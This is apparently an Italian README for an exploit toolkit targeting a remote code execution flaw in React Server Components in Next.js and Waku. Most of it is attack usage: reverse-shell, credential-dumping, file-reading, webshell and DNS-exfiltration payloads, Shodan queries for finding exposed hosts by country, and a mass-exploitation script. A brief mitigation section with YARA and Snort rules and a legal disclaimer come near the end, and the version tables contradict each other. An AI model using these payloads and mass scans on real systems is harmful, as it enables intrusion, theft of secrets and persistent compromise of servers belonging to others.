
Toolkit avanzato per lo sfruttamento delle vulnerabilità di Esecuzione Remota di Codice nei React Server Components
Solo per test di penetrazione autorizzati e ricerca sulla sicurezza
Funzionalità • Installazione • Utilizzo • Integrazione Shodan • Esempi • Disclaimer
Questo toolkit sfrutta una vulnerabilità critica di Esecuzione Remota di Codice (RCE) nelle implementazioni dei React Server Components (RSC), prendendo di mira in particolare:
La vulnerabilità sfrutta la prototype pollution e la deserializzazione non sicura nel meccanismo di gestione dei dati di RSC per ottenere l'esecuzione arbitraria di codice sul server.
I React Server Components utilizzano un formato di serializzazione personalizzato per trasferire dati tra client e server. La vulnerabilità risiede nel modo in cui questi framework deserializzano ed elaborano payload appositamente costruiti.
Catena di attacco:
$X:constructor:constructor per accedere al costruttore di Function_prefixAttacker → Malicious RSC Payload → Target Server
↓
Unsafe Deserialization
↓
Prototype Chain Access
↓
Function Constructor
↓
⚠️ RCE ACHIEVED ⚠️
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
*È richiesto uno tra --payload e --custom
Visualizza tutti i payload:
node rsc-rce-exploit.js --list
Output:
📋 Available payloads:
console - Basic PoC - Console output
Code: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Read /etc/passwd
Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Dump environment variables
Code: console.log(JSON.stringify(process.env,null,2))
execCommand - Execute system command
Code: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Write webshell to /tmp
Code: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Read package.json
Code: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS exfiltration
Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Esegui qualsiasi codice JavaScript:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Basic Next.js
http.component:"Next.js"
# Next.js with RSC
http.html:"__next" http.html:"RSC"
# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"
# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"
# Geographically targeted (France)
http.component:"Next.js" country:FR
# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Waku framework
http.html:"waku" http.html:"RSC"
# Waku RSC endpoints
http.path:"/RSC/"
Utilizza lo script di automazione fornito:
# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# With custom payload
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. Search Shodan
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. Test each target
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] Testing http://$ip:$port"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
Lo strumento mass-exploit.js consente di testare più target:
# From file
node mass-exploit.js --file targets.txt --payload console --threads 10
# From Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# Save results
node mass-exploit.js --file targets.txt --payload console --output results.json
Esempio per test di sicurezza automatizzati:
# .github/workflows/security-test.yml
name: RSC Security Test
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
Output atteso:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE Exploit - Enhanced Version ║
║ React Server Components Code Execution ║
╚═══════════════════════════════════════════════════════════╝
[*] Starting exploitation...
[*] Targeting Next.js RSC endpoint...
[*] URL: https://vulnerable.example.com
[*] Payload: console.log(7*7+1)...
[+] Response status: 200
[+] Response body:
50
[*] Exploitation complete!
node rsc-rce-exploit.js \
--target https://api.target.com \
--payload envDump
Risultato:
process.env# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Execute exploit
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload webshell
# Access webshell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"
# Setup Burp Collaborator or your DNS server
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
node rsc-rce-exploit.js \
--target https://waku-app.example.com \
--framework waku \
--endpoint /RSC/custom.txt \
--payload execCommand \
--command "id"
# Read sensitive files
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "console.log(require('fs').readFileSync('.env','utf8'))"
Aggiornare il Framework
npm install next@latest
# or
npm install waku@latest
Validare l'Input
// Validate all RSC payloads
function validateRSCPayload(payload) {
// Implement strict validation
if (payload.includes('constructor')) return false;
if (payload.includes('__proto__')) return false;
return true;
}
Content Security Policy
// next.config.js
module.exports = {
async headers() {
return [{
source: '/:path*',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
],
}]
},
}
Disabilitare RSC in Produzione (se non necessario)
// next.config.js
module.exports = {
experimental: {
serverActions: false,
},
}
next-actionRegola YARA:
rule RSC_RCE_Exploit {
strings:
$s1 = "constructor:constructor"
$s2 = "_prefix"
$s3 = "$@"
$s4 = "resolved_model"
condition:
3 of them
}
Regola Snort:
alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
| Intervallo di versioni | Stato | Note |
|---|---|---|
| < 0.18.0 | ⚠️ VULNERABILE | RCE critica |
| >= 0.18.0 | ✅ Corretto | Aggiornamento consigliato |
I contributi sono benvenuti! Segui queste linee guida:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)⚠️ LEGAL DISCLAIMER ⚠️
This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.
By using this software, you agree to:
1. Only test systems you own or have explicit written permission to test
2. Comply with all applicable local, state, national, and international laws
3. Not use this tool for malicious purposes or illegal activities
4. Accept full responsibility for your actions
The authors and contributors:
- Are NOT responsible for any misuse or damage caused by this tool
- Do NOT encourage or condone illegal activity
- Provide this tool "AS IS" without warranty of any kind
UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.
Violators will be prosecuted to the fullest extent of the law under:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- European Cybercrime Convention
- And other applicable laws in your jurisdiction
USE AT YOUR OWN RISK.
Questo progetto è concesso in licenza MIT - consulta il file LICENSE per i dettagli.
MIT License
Copyright (c) 2024 RSC RCE Exploit Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
⭐ Se questo strumento ti è stato utile nella tua ricerca sulla sicurezza, lascia una stella! ⭐
Realizzato con ❤️ da ricercatori di sicurezza, per ricercatori di sicurezza
| Payload | Descrizione | Caso d'uso |
|---|
console | PoC di base (console.log) | Verificare la vulnerabilità |
reverseShell | Reverse shell Bash | Accesso iniziale |
readFile | Legge /etc/passwd | Accesso al filesystem |
envDump | Scarica le variabili d'ambiente | Estrazione di credenziali |
execCommand | Esegue comandi di sistema | Esecuzione arbitraria di comandi |
webshell | Distribuisce una webshell Express | Accesso persistente |
exfilPackage | Esfiltra package.json | Analisi delle dipendenze |
dnsExfil | Esfiltrazione DNS (OOB) | Sfruttamento cieco |
| Opzione | Descrizione | Obbligatoria |
|---|
--target <url> | URL del target | ✅ |
--framework <name> | Framework: next o waku | ❌ (predefinito: next) |
--payload <name> | Nome del payload (vedi sotto) | ✅* |
--custom <code> | Codice JavaScript personalizzato | ✅* |
--lhost <ip> | Il tuo IP (per la reverse shell) | ❌ |
--lport <port> | La tua porta (per la reverse shell) | ❌ |
--command <cmd> | Comando da eseguire | ❌ |
--endpoint <path> | Endpoint RSC personalizzato (Waku) | ❌ |
--action-id <id> | ID next-action personalizzato | ❌ |
--list | Elenca i payload disponibili | ❌ |
--verbose | Output dettagliato | ❌ |
--help | Mostra l'aiuto | ❌ |
| Intervallo di versioni | Stato | Note |
|---|
| < 13.4.0 | ✅ Non vulnerabile | RSC non abilitato di default |
| 13.4.0 - 13.4.19 | ⚠️ VULNERABILE | RCE critica |
| 13.5.0 - 14.0.4 | ⚠️ VULNERABILE | RCE critica |
| 14.1.0 | ⚠️ VULNERABILE | Mitigazione parziale |
| >= 14.1.1 | ✅ Corretto | Aggiornamento consigliato |